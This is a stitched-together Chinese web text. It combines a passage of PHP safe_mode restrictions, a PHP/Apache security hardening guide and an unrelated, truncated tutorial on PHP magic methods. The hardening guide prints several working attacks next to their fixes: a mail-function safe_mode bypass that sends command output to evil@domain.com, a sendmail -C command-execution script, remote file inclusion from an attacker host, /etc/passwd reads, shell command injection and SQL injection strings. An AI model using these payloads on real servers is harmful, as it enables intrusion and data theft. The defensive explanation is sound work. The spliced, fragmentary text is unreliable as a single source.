pg_loimport() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
posix_mkfifo() 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。
putenv() 遵循 ini 设置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 选项。请参考 putenv() 函数的有关文档。
move_uploaded_file() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
chdir() 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。
dl() 该函数在安全模式中已被屏蔽。
backtick operator 该函数在安全模式中已被屏蔽。
shell_exec()(在功能上和 backticks 函数相同) 该函数在安全模式中已被屏蔽。
exec() 您只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。
system() 您只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。
passthru() 您只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。
popen() 您只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。
mkdir() 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。
rmdir() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
rename() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。
unlink() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。
copy() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。 (on source and target)
chgrp() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
chown() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
chmod() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 另外,您不能设置 SUID、SGID 和 sticky bits
touch() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。
symlink() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。 (注意:仅测试 target)
link() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。 (注意:仅测试 target)
getallheaders() 在安全模式下,以“authorization”(区分大小写)开头的头信息将不会被返回。警告:getallheaders() 无法在 aol-server 下实现!
header() 在安全模式下,如果您设置了 WWW-Authenticate,当前脚本的 uid 将被添加到该头信息的 realm 部分。
highlight_file(), show_source() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。 (注意,仅在 4.2.1 版本后有效)
parse_ini_file() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。 (注意,仅在 4.2.1 版本后有效)
任何使用 php4/main/fopen_wrappers.c 的函数 ??
PHP安全配置
一、Web服务器安全
PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远 了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和 PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接 MySQL时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发 送邮件也是个问题,因为php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是针对Win32平台,所以需要在chroot环境下调整好sendmail。
二、PHP本身问题
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode 的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:
执行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id│mail evil@domain.com
这将id执行的结果发送给evil@domain.com。
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:
# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。
三、PHP本身的安全配置
PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和 get_cfg_var()函数可以得到配置选项的各个值。
如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的 Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选 项是对该定义的目录下所有脚本生效。
如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是 Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数 以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:
# grep PHP_INI_ /PHP_SRC/main/main.c
在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:
safe_mode = On
或者修改httpd.conf,定义目录:
Options FollowSymLinks
php_admin_value safe_mode 1
重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:
几个文件的属性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在浏览器请求test.php会提示如下的错误信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。 所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。
如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:
safe_mode_gid = On
设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而 且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:
safe_mode_exec_dir = /usr/local/php/exec
然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。
safe_mode_include_dir string
当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。
从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。
指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请 在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。
注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!
safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。
虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用 safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。
讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。
2、变量滥用
PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程 序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻击者只需用如下的请求就能绕过检查:
http://victim/test_1.php?auth=1
这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361
PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、 COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是 register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。
解决方法:
配置文件php.ini设置register_globals = Off。
要求程序员对作为判断的变量在程序最开始初始化一个值。
3、文件打开
极易受攻击的代码片断:
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename
/n");
exit;
}
else {
echo $str;
}
?>
由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:
http://victim/test_2.php?filename=/etc/passwd
如下请求可以读php文件本身:
http://victim/test_2.php?filename=test_2.php
PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。
解决方法:
如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:
php_admin_value open_basedir /usr/local/apache/htdocs
重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免这种问题,前面已经讨论过了。
4、包含文件
极易受攻击的代码片断:
//test_3.php
if(file_exists($filename))
include("$filename");
?>
这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd
如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命 令的文件,如http://attack/attack.txt的内容是<;?passthru("ls /etc")?>,那么如下的请求就可以在目标主机执行命令ls /etc:
http://victim/test_3.php?filename=http://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。
对于另外一种形式,如下代码片断:
//test_4.php
include("$lib/config.php");
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:
http://victim/test_4.php?lib=http://attack
PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。
解决方法:
要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。
如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:
allow_url_fopen = Off
重启apache。
5、文件上传
php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录, 如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量 名是file,而且register_globals打开)
$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型
推荐使用:
$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
这是一个最简单的文件上传代码:
//test_5.php
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上传成功!点击 继续上传 ";
exit;
}
?>
上传文件:
这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写)下的attack.txt文件里:
http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt
然后可以用如下请求读取口令文件:
http://victim/test/attack.txt
攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。
攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。
攻击者还可以上传PHP脚本执行主机的命令。
解决方法:
PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。
使用$HTTP_POST_FILES数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是php脚本文件。
把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。
把PHP脚本用phpencode进行加密,避免由于copy操作泄漏源码。
严格配置文件和目录的权限,只允许上传的目录能够让nobody用户可写。
对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现:
php_flag engine off
#如果是php3换成php3_engine off
重启apache,upload目录的php文件就不能被apache解释了,即使上传了php文件也没有问题,只能直接显示源码。
6、命令执行
下面的代码片断是从PHPNetToolpack摘出,详细的描述见:
http://www.securityfocus.com/bid/4303
//test_6.php
system("traceroute $a_query",$ret_strs);
?>
由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。
攻击者输入如下请求可以执行cat /etc/passwd命令:
http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd
PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数非常危险,慎用。如果要使用一定要严格检查用户输入。
解决方法:
要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。
启用safe_mode可以杜绝很多执行命令的问题,不过要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。
7、sql_inject
如下的SQL语句如果未对变量进行处理就会存在问题:
select * from login where user='$user' and pass='$pass'
攻击者可以用户名和口令都输入1' or 1='1绕过验证。
不过幸亏PHP有一个默认的选项magic_quotes_gpc = On,该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了:
select * from login where user='1/' or 1=/'1' and pass='1/' or 1=/'1'
从而避免了此类sql_inject攻击。
对于数字类型的字段,很多程序员会这样写:
select * from test where id=$id
由于变量没有用单引号扩起来,就会造成sql_inject攻击。幸亏MySQL功能简单,没有sqlserver等数据库有执行命令的SQL语 句,而且PHP的mysql_query()函数也只允许执行一条SQL语句,所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查 询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。
解决方法:
要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。
即使是数字类型的字段,变量也要用单引号扩起来,MySQL自己会把字串处理成数字。
在MySQL里不要给PHP程序高级别权限的用户,只允许对自己的库进行操作,这也避免了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。
8、警告及错误信息
PHP默认显示所有的警告及错误信息:
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。
正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访 问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己 知道程序错误所在。
修改php.ini中关于Error handling and logging部分内容:
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。
9、disable_functions
如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(这个选项不能在httpd.conf里设置),比如:
disable_functions = phpinfo, get_cfg_var
可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。
10、disable_classes
这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。
11、open_basedir
前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制,这里再介绍一下它的特性。用open_basedir指定的限 制实际上是前缀,不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls",如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。例如:"open_basedir = /dir/incl/"。
可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。
四、其它安全配置
1、取消其它用户对常用、重要系统命令的读写执行权限
一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命 令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在Linux下可以用/lib/ld- linux.so.2 /bin/ls这种方式来执行。
如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运 行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作,
2、去掉apache日志其它用户的读权限
apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。
如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。
当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。
他们的任何一个方法,他们却可以执行,影响你的程序。
在学习之前我要说两句,首先你不能漠视魔术方法,不要认为你不用这世界上用的人就非常少,作用就小。其实 PHP的魔术方法是PHP的一大特征,既然你学了一种语言,连它最基本的特征都没学,还叫学习了这个语言了吗?其次,不要认为看完我这篇文章就可以深入的 理解魔术方法了,我只是带您入门,以后的路还得您自己走。最后,腾讯曾经出了个面试题,就是关于魔术方法的,如果你学习完我这篇文章,应付这道题应该不成 问题了。还有一点,学习魔术方法一个最重要的地方就是学习它的用法,也就是它在什么情况下被调用。这是重点中的重点,请在下面的学习中注意这点。
首先学习PHP4中就有的魔术方法——__sleep()和__wakeup()。
其实这两个方法用的非常非常的少,少到在我接触PHP1年半的前提下,如果不去主动学习他们根本不知道他们的存在,但是本着对
学术严谨的态度,多学点没什么坏处,用不了多少时间,所以你也可以跟着我花几分钟的时间熟悉一下这两个方法。
我刚才说他们用的非常非常的少,我用了两个非常,大家可以想想一下他们的程度。不光我们要知道他们用的少,重要的是知道为
什么用的少。我先写一段代码,你看看你是否见到过或者曾经写过,我见识比较少,至少我之前是没有见过这么写的。
[php]
class Test {
public $testStr;
public function fun() {
//搞点小事情
}
}
$test = new Test();
echo serialize($test); //输出 O:4:"Test":1:{s:7:"testStr";N;}
[/php]
它竟然把一个类的给序列化了,也就是把一个类转换成了一个字符串,可以传输或者保存下来。我以前可没有接触过这么神奇的事情。
下面我修改一下上面的代码,上面不是要搞点小事情吗?那我现在就搞给你看!
[php]
class Test {
public $testStr;
public function __construct($str) {
$this->testStr = $str;
}
}
$test = new Test("Skiyo.cn");
echo serialize($test); //输出 O:4:"Test":1:{s:7:"testStr";s:8:"Skiyo.cn";}
[/php]
大家可以看到,$testStr被设置后,序列化后也对应了相应的值,但是现在有个问题,比如我这个变量是个秘密呢?而且我又得把这个类序列化传给别的地方呢?
看下面的代码
[php]
class Test {
public $mySecret; //我的秘密不想让人知道
public function __construct($secret) {
$this->mySecret = $secret;
}
}
$test = new Test("我的心里话 我爱某某某");
echo serialize($test); //输出 O:4:"Test":1:{s:8:"mySecret";s:32:"我的心里话 我爱某某某";}
[/php]
大家可以看到,我的秘密序列化后还是存在的,可是我不想我的心里话被别人看到。这个时候PHP很贴心,她知道你的问题,所以设置了魔术方法。
__sleep() 就表示当你执行serialize()这个序列化函数之前时的事情,就像一个回调函数,所以在这个回调函数里面我们就可以做点事情,来隐藏我的秘密。
[php]
class Test {
public $mySecret; //我的秘密不想让人知道
public function __construct($secret) {
$this->mySecret = $secret;
}
public function __sleep() {
$this->mySecret = "你休想知道我的秘密!";
return array('mySecret'); //一定要返回变量,不然返回的是个空,所以序列化也就没有东西了。
}
}
$test = new Test("我的心里话 我爱某某某");
echo serialize($test); //输出 O:4:"Test":1:{s:8:"mySecret";s:28:"你休想知道我的秘密!";}
[/php]
大家看到了吧?我的心里话被加密了,这个就是__sleep()的作用。至于__wakeup()和__sleep()大同小异,只不过是反序列化之前进行的回调函数。我不详细说了,大家看下下面的代码就明白了。
[php]
class Test {
public $mySecret; //我的秘密不想让人知道
public function __construct($secret) {
$this->mySecret = $secret;
}
public function __sleep() {
$this->mySecret = "你休想知道我的秘密!";
return array('mySecret'); //一定要返回变量,不然返回的是个空,所以序列化也就没有东西了。
}
public function __wakeup() {
$this->mySecret = "我的秘密又回来了,哈哈!";
//反序列化就不用返回数组了,就是对字符串的解密,字符串已经有了不用其他的了。
}
}
$test = new Test("我的心里话 我爱某某某");
print_r(unserialize(serialize($test))); //输出 Test Object ( [mySecret] => 我的秘密又回来了,哈哈! )
[/php]
到此为止我们的__sleep()和__wakeup()两个魔术函数就学习完毕了。
今天我们要学习的是四个非常有用的魔术方法:__set() __get() __isset() __unset() ,特别是其中的 __set() 和 __get() ,在以后的面向对象的编程中经常会遇到,所以也是我们今天的重点。
我们还是从一个代码的例子出手。我们先来按照Java中类的思想写一个类。
[php]
class Test {
//私有属性
private $a;
private $b;
private $c;
private $d;
private $e;
private $f;
private $g;
private $h;
private $i;
private $j;
//还有很多很多....
//Getters & Setters
public function getA() {
return $this->a;
}
public function getB() {
return $this->b;
}
public function getC() {
return $this->c;
}
public function getD() {
return $this->d;
}
public function getE() {
return $this->e;
}
public function getF() {
return $this->f;
}
public function getG() {
return $this->g;
}
public function getH() {
return $this->h;
}
public function getI() {
return $this->i;
}
public function getJ() {
return $this->j;
}
public function setA($a) {
$this->a = $a;
}
public function setB($b) {
$this->b = $b;
}
public function setC($c) {
$this->c = $c;
}
public function setD($d) {
$this->d = $d;
}
public function setE($e) {
$this->e = $e;
}
public function setF($f) {
$this->f = $f;
}
public function setG($g) {
$this->g = $g;
}
public function setH($h) {
$this->h = $h;
}
public function setI($i) {
$this->i = $i;
}
public function setJ($j) {
$this->j = $j;
}
//还有很多很多...
}
[/php]
请不要认为我这是在凑字数,因为你得相信我,我没有稿费,所以不用故意拖这么多字数。
在一般的面向对象的编程中,这种情况是相当常见的,我曾经用Struts2写过一个音乐分享的网站,单单一个注册,因为注册要获取的字段很多,类似PHP 的$_POST,Struts2的机制就是给每个Form元素都设定一个Getter和Setter,这样下来,单单一个注册的类就有多的数不清的 Getters和Setters。这是个非常艰巨的任务,程序员是写程序的,不是抄程序的,所以强大的Eclipse就为我们提供了一个简单的方法,只要 你设定了类的属性,你就可以通过鼠标点击来生成相应的Getter和Setter,所以你不要认为上面的代码是我傻乎乎写的,我是个懒人,十分会偷懒 的:)
扯远了,PHP为了解决这个问题,而且又有魔术方法的基础,所以PHP创造了 __set() 和 __get() 。你只需要写一个方法,就可以代表上面大部分的Getters和Setters。
[php]
class Test {
private $a;
public function __set($key, $value) { //必须是两个参数,第一个是属性,第二个是设置属性的值。
$this->$key = $value;
//这里不明白为什么是$this->$key ?? 一般不是这样写吗? $this->key ? 请看我下面的分解。
}
public function __get($key) { //一个参数,要获得的属性
return $this->$key;
}
}
$test = new Test();
$test->__set('a', '我是A'); //给 属性a 设置一个值
echo $test->__get('a'); //打印a 输出 我是A
[/php]
通过上面的例子,我们就给A设置了一个值,并且打印了出来。
现在我来说上面为什么是$this->$key。这要说明白也是个不小的话题,PHP比较神奇,她可以设置一个变量的变量,什么意思呢?来看下面的例子。
[php]
$a = 'b';
$b = 'c';
echo $$a; //输出c
[/php]
哇好神奇,竟然有连个$,好多的钱啊。下面我给你分解下。
[php]
$a = 'b';
$b = 'c';
echo ${$a}; //这样看的话是不是就明白多了呢? $a='b',所以大括号中就是b了,加上前面的$,就变成变量$b了。
[/php]
回到上面的类中,你可以注意到,$key只是我们需要传进来的一个内部属性,不是我们真正需要的,如果$this->key这样就会编程$key这 个属性的值了,而我们需要设置的是$this->a的值,所以这里就需要使用变量的变量了。明白了吗?有点绕,好好想想:)
经过这么折腾,我想你已经会一点 __get() 和 __set() 的使用方法了。但是上面的代码还不能用于实际的代码中,因为在实践中,往往内部属性的个数是不定的,你想到了什么解决办法?对,就是数组,PHP中数组的 长度是不定的,所以我们就可以给他无限增加元素。
[php]
class Test {
public $values = array(); //存放属性的数组,以键值对的形式存在的。
public function __get($name){
return $this->values[$name];
}
public function __set($name, $value){
$this->values[$name] = $value;
}
}
$test = new Test();
$test->__set('a', '我是a');
$test->__set('b', '我是b');
echo $test->__get('a'); //输出 我是a
echo $test->__get('b'); //输出 我是b
[/php]
这样的话,如果是注册的页面,我们就可以灵活的获得和设置属性了。但是在实际运用中,我们知道传过来的值是不可靠的,我们得需要HTML转义,Mysql转义等等,所以我们可以写一个简单的回调函数,做数据验证的作用。
[php]
class Test {
public $values = array();
public function __get($name){
return $this->values[$name];
}
public function __set($name, $value){
$this->values[$name] = $this->validate($value);
}
private function validate($value){
return htmlspecialchars(addslashes($value));
//等等
}
}
$test = new Test();
$test->__set('a', '<a>我是a</a>');
echo $test->__get('a'); //输出 <a>我是a</a> 被转义啦...
[/php]
但是有的人不需要这样的,比如我前面提交的页面就有用户名和密码,不想再要别的了。当然,你如果用两个私有属性也可以解决,但是我说一下用一个数组的方法。
[php]
class Test {
public $values = array('name' => '名字', 'passwd' => '密码'); //提前规定私有属性只有name和passwd
public function __get($name){
if (isset($this->values[$name])) { //判断一下
return $this->values[$name];
} else {
echo '没有此属性!';
}
}
public function __set($name, $value){
if (isset($this->values[$name])) { //这里也判断一下
$this->values[$name] = $this->validate($value);
} else {
echo '没有此属性!';
}
}
private function validate($value){
return htmlspecialchars(addslashes($value));
//等等
}
}
$test = new Test();
$test->__set('name', '<a>我是name</a>'); //设置name 无输出
$test->__set('我也不知道这个是什么', '<a>看看是我的值是多少</a>'); //输出 没有此属性!
echo $test->__get('name'); //输出 <a>我是a</a>
echo $test->__get('随便看看'); //输出 没有此属性!
[/php]
到这里,我们算是基本掌握了 __set() 和 __get() 了,其实要学精通还是需要你自己去努力的,我只是带你入门而已。下面我们来看看 __isset() 和 __unset() 。
其实__isset() 和 __unset() 与 __sleep()和__wakeup() 是有点像的,__isset() 和 __unset() 是在触发isset()和unset()函数前的回调函数。我们继续来做例子。
[php]
class Test {
public $a;
public function __construct($value) {
$this->a = $value;
}
public function __isset($name) {
echo "你小子偷看我??";
}
public function __unset($name) {
echo "你没权利宰了我!";
}
}
$test = new Test("我是a");
isset($test->a); //无任何输出
[/php]
执行上面的代码,结果无任何输出,但是刚才我说了,只要执行isset()就要执行__isset()这个回调函数的啊,回调函数里面输出 “你小子偷看我??” ,但是为什么结果却没有输出呢?难道是我说错了??我不能欺骗大家啊,所以我得给大家说清楚,不是我错了,也不是程序错了,是PHP的问题!
在PHP中关于 __isset() 和 __unset() 有个约定,就是当用 isset() 函数测试成员属性的时候,如果这个属性为public属性或者默认属性时,就不回调,当为protected或者private时就回调。我语言表达能力 差,还是用代码表示吧。
[php]
class Test {
var $a; //这样就不输出
public $a; //这样也不输出
protected $a; //输出 你小子偷看我??
private $a; //输出 你小子偷看我??
public function __construct($value) {
$this->a = $value;
}
public function __isset($name) {
echo "你小子偷看我??";
return isset($this->a); //返回真是的信息
}
public function __unset($name) {
echo "你没权利宰了我!";
}
}
$test = new Test("我是a");
isset($test->a);
[/php]
